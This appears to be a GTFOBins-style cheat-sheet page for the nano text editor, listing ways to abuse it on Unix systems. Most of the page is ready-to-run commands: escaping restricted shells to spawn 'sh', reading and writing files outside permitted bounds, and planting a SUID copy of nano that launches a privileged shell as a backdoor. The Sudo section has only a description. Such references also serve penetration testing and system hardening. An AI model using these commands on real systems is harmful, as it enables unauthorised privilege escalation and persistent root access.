.. / nano
Star

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

```
nano
^R^X
reset; sh 1>&0 2>&0
```
The SPELL environment variable can be used in place of the -s option if the command line cannot be changed.
```
TF=$(mktemp)
echo 'exec sh' > $TF
chmod +x $TF
nano -s $TF /etc/hosts
^T
```

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

```
nano file_to_write
DATA
^O
```

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

```
nano file_to_read
```

SUID

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian that allow the default sh shell to run with SUID privileges.

The SPELL environment variable can be used in place of the -s option if the command line cannot be changed.

sudo sh -c 'cp $(which nano) .; chmod +s ./nano'

TF=$(mktemp)
echo 'exec sh -p' > $TF
chmod +x $TF
./nano -s $TF /etc/hosts
^T

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.